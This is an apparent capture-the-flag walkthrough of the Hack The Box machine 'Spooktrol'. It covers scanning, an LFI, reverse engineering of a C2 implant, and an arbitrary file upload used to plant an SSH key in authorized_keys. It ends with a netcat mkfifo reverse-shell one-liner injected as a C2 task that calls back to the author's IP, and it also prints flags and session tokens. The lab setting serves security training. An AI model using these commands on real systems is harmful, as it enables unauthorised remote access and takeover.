Spooktrol
Objective
The objective of this assessment is to perform a penetration test against the server. The pentester is tasked with following methodical approach in obtaining access to the objective goals. This test should simulate an actual penetration test and how you would start from beginning to end, including the overall report.
Nmap
IP : 10.10.11.123
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(kali@kali)-[~/ctf/htb/spooktrol]
└─$ rustscan -a 10.10.11.123 130
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.🐢
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.11.123:22
Open 10.10.11.123:80
Open 10.10.11.123:2222
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p ")
[~] Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-27 10:00 IST
Initiating Ping Scan at 10:00
Scanning 10.10.11.123 [2 ports]
Completed Ping Scan at 10:00, 0.31s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:00
Completed Parallel DNS resolution of 1 host. at 10:00, 0.06s elapsed
DNS resolution of 1 IPs took 0.06s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 2, TR: 3, CN: 0]
Initiating Connect Scan at 10:00
Scanning 10.10.11.123 [3 ports]
Discovered open port 80/tcp on 10.10.11.123
Discovered open port 22/tcp on 10.10.11.123
Discovered open port 2222/tcp on 10.10.11.123
Completed Connect Scan at 10:00, 0.59s elapsed (3 total ports)
Nmap scan report for 10.10.11.123
Host is up, received syn-ack (0.40s latency).
Scanned at 2021-10-27 10:00:53 IST for 1s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
2222/tcp open EtherNetIP-1 syn-ack
We have three ports open the server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
Nmap scan report for 10.10.11.123
Host is up, received user-set (0.38s latency).
Scanned at 2021-10-27 10:05:09 IST for 106s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack uvicorn
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| date: Wed, 27 Oct 2021 04:50:04 GMT
| server: uvicorn
| content-length: 22
| content-type: application/json
| Connection: close
| {"detail":"Not Found"}
| GetRequest:
| HTTP/1.1 200 OK
| date: Wed, 27 Oct 2021 04:49:49 GMT
| server: uvicorn
| content-length: 43
| content-type: application/json
| Connection: close
| {"auth":"19c20cbea055b9e6e7da907401c17e6e"}
| HTTPOptions:
| HTTP/1.1 405 Method Not Allowed
| date: Wed, 27 Oct 2021 04:49:56 GMT
| server: uvicorn
| content-length: 31
| content-type: application/json
| Connection: close
|_ {"detail":"Method Not Allowed"}
| http-methods:
|_ Supported Methods: GET
| http-robots.txt: 1 disallowed entry
|_/file_management/?file=implant
|_http-server-header: uvicorn
|_http-title: Site doesn't have a title (application/json).
2222/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.80%I=7%D=10/27%Time=6178D705%P=x86_64-pc-linux-gnu%r(Get
SF:Request,BB,"HTTP/1\.1\x20200\x20OK\r\ndate:\x20Wed,\x2027\x20Oct\x20202
SF:1\x2004:49:49\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2043\r\n
SF:content-type:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"aut
SF:h\":\"19c20cbea055b9e6e7da907401c17e6e\"}")%r(HTTPOptions,BF,"HTTP/1\.1
SF:\x20405\x20Method\x20Not\x20Allowed\r\ndate:\x20Wed,\x2027\x20Oct\x2020
SF:21\x2004:49:56\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2031\r\
SF:ncontent-type:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"de
SF:tail\":\"Method\x20Not\x20Allowed\"}")%r(FourOhFourRequest,AD,"HTTP/1\.
SF:1\x20404\x20Not\x20Found\r\ndate:\x20Wed,\x2027\x20Oct\x202021\x2004:50
SF::04\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2022\r\ncontent-ty
SF:pe:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"detail\":\"No
SF:t\x20Found\"}");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 27 10:06:55 2021 -- 1 IP address (1 host up) scanned in 106.14 seconds
We have two SSH ports listening on the server. One is port 22 and other is port 2222 which is most probably a container.
Server IP Address | Ports Open |
---|---|
10.10.11.123 | TCP: 22, 80, 2222 |
Looking at the nmap scan we have robots.txt
.
Accesssing the page in browser shows us binary information. Let’s download the file.
1
2
3
┌──(kali@kali)-[~/ctf/htb/spooktrol]
└─$ file implant
implant: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=ce05777839d03f0df9cfcc82f20c437dd55e645e, with debug_info, not stripped
We have an elf binary file to analyze.
LFI
Reverse Engineering - implant
Let’s set the break point at the XOR function and see what exactly is happening inside the function.
We hit the break point at 0x402013
. Let’s increase the instruction set
By the end of the function, the $rax
contains the FLAG value.
FLAG1: UHC{R3v3ng_Master}
Further analysis of the binary.
Let’s add the domain in our /etc/hosts
file.
1
2
3
cat /etc/hosts
10.10.11.123 spooktrol.htb
Let’s run the binary and see what exactly is the binary sending requests.
1
2
3
4
5
┌──(kali@kali)-[~/ctf/htb/spooktrol]
└─$ ./implant
{"status":0,"arg1":"whoami","id":3,"result":"","target":"10f116edd553be4fa2f8b755180fb48c","task":1,"arg2":""}
null{"task":0}
No tasks...
The implant binary send some queries to the server as per the traffic seen.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /poll HTTP/1.1
Host: spooktrol.htb
Accept: */*
Cookie: auth=110ef138e89bda22436433c909da1de0
HTTP/1.1 200 OK
date: Wed, 27 Oct 2021 05:53:08 GMT
server: uvicorn
content-length: 110
content-type: application/json
{"status":0,"arg1":"whoami","id":2,"result":"","target":"110ef138e89bda22436433c909da1de0","task":1,"arg2":""}POST /result HTTP/1.1
Host: spooktrol.htb
Accept: */*
Cookie: auth=110ef138e89bda22436433c909da1de0
Content-Length: 17
Content-Type: application/x-www-form-urlencoded
id=2&result=kali
By looking at the requests sent, a command of whoami
is executed on our machine and result is been sent to the server. In our case hostname is kali
Also we see a task id in the above case is 1. Let’s search through the binary to see if we have any other functions inside the binary to exploit it.
We have a switch case in the binnary and the value of variable local_434
is initialized to 0 and never changed.
case 0:
case 1:
case 2:
case 3:
case 4:
Let’s intercept the request and change the value of the variable
Before doing that let’s change some setting in burpsuite so that we can intercept the requests.
1
2
┌──(kali@kali)-[~/ctf/htb/spooktrol]
└─$ sudo socat TCP-LISTEN:80,fork,reuseaddr TCP:127.0.0.1:8080
All the requests on port 80 are forwarded to port 8080 and our burpsuite is listening on port 8080 to intercept.
This confirms our setting are working fine.
A deep dive into case 3 where an Upload functionality is available.
After our modifications we should see task 3 getting executed.
Let’s set a break point at system call in performUpload function.
After running the programming in gdb we shall see the program is halted at our breakpoint.
if we observer $rdi contains the string of the command getting executed.
Let’s print the $rdi register
The file getting uploaded is whoami, we need to change the parameter value so that we can upload our desired file.
Now we have the command to run. Let;s try to run from command line and see if it gets uploaded successfully.
1
2
┌──(kali@kali)-[~/ctf/htb/spooktrol]
└─$ curl -H 'Cookie: auth=1dfd1a7f33bde974dde77ad69812b9f2' -X PUT -F file=@testfile http://10.10.11.123/file_upload/ -x "http://127.0.0.1:8080"
User
Also note that we have LFI vulnerability from our initial finding. Let’s try to upload the inside the some other directly.
We can upload the file in any directory. Thats awesome.
Let’s upload our ssh-key in authorized_keys file to login.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali@kali)-[~/ctf/htb/spooktrol]
└─$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): /tmp/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /tmp/id_rsa
Your public key has been saved in /tmp/id_rsa.pub
The key fingerprint is:
SHA256:+PzzWolaS3UMtT6X2Sp+bdgjYEHFQq6fyOlS6I5TFwc kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| ..o.. |
| E.o o . |
| o.o . |
| . ..o + +|
| . S.o o =oo|
| =.o+=.o + |
| o =+=o= .+ |
| ..o.=.+ oo.+|
| .o.o.++o....|
+----[SHA256]-----+
We have successfully uploaded our file. Let’s try to login and check.
Since we have two SSH ports running. Let’s try on both the ports.
On port 2222 we have successfully logged as root.
We have our user flag.
Root
1
2
3
4
5
6
7
8
9
10
root@spook2:/opt/spook2# ls -rlta
total 56
-rw-r--r-- 1 root root 115 Oct 20 00:32 server.py
-rw-r--r-- 1 root root 371 Oct 21 11:09 Dockerfile
drwxr-xr-x 1 root root 90 Oct 21 21:45 app
drwxr-xr-x 1 root root 12 Oct 21 21:46 ..
drwxr-xr-x 1 root root 14 Oct 27 08:37 files
-rw-r--r-- 1 root root 49152 Oct 27 08:38 sql_app.db
drwxr-xr-x 1 root root 74 Oct 27 08:38 .
root@spook2:/opt/spook2#
Let’s have a look at sqlite database.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root@spook2:/opt/spook2# sqlite3 sql_app.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .schema
CREATE TABLE sessions (
id INTEGER NOT NULL,
session VARCHAR,
hostname VARCHAR,
PRIMARY KEY (id)
);
CREATE INDEX ix_sessions_hostname ON sessions (hostname);
CREATE INDEX ix_sessions_id ON sessions (id);
CREATE UNIQUE INDEX ix_sessions_session ON sessions (session);
CREATE TABLE tasks (
id INTEGER NOT NULL,
target VARCHAR,
status INTEGER,
task INTEGER,
arg1 VARCHAR,
arg2 VARCHAR,
result VARCHAR,
PRIMARY KEY (id)
);
CREATE INDEX ix_tasks_id ON tasks (id);
CREATE TABLE checkins (
id INTEGER NOT NULL,
session VARCHAR,
time DATETIME,
PRIMARY KEY (id)
);
CREATE INDEX ix_checkins_id ON checkins (id);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sqlite> select * from sessions;
1|10a6dd5dde6094059db4d23d7710ae12|spooktrol
2|110ef138e89bda22436433c909da1de0|kali
3|10f116edd553be4fa2f8b755180fb48c|kali
4|1dda86551075b203d586f3ed04f6304e|kali
5|1d1ad5b9339d8d5ddccf3785d9a0f6a8|kali
6|14a9e86470142e498115e00032d96558|kali
7|1c2900fe914219773ce186f3db0e1748|kali
8|111dca99fbb854c70e8cd0f29c5fd152|kali
9|19c501937f8b3169551c0d807fb81012|kali
10|1f0342d7801b28da90c34e0d6626bbcc|kali
11|16b7460ab7e6e813dc6fd3d5b4134a30|kali
12|1370d4fc3004a44c27813485a511d5f0|kali
13|17b9cd0415509f104da9da709eb17abc|kali
14|1dfd1a7f33bde974dde77ad69812b9f2|kali
A new hostname spooktrol
.
From the checkins table we can see the spooktrol agent is live. Let’s create a task to execute on that machine.(which is most probably the server)
1
sqlite> insert into tasks(target,status,task,arg1,arg2) values ("10a6dd5dde6094059db4d23d7710ae12","0","1","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.3 9001 >/tmp/f","");
Let’s wait for our payload to execute, as the checkins are running for every two minutes.
We get a reverse shell back on our machine and now we can the root flag on the base server.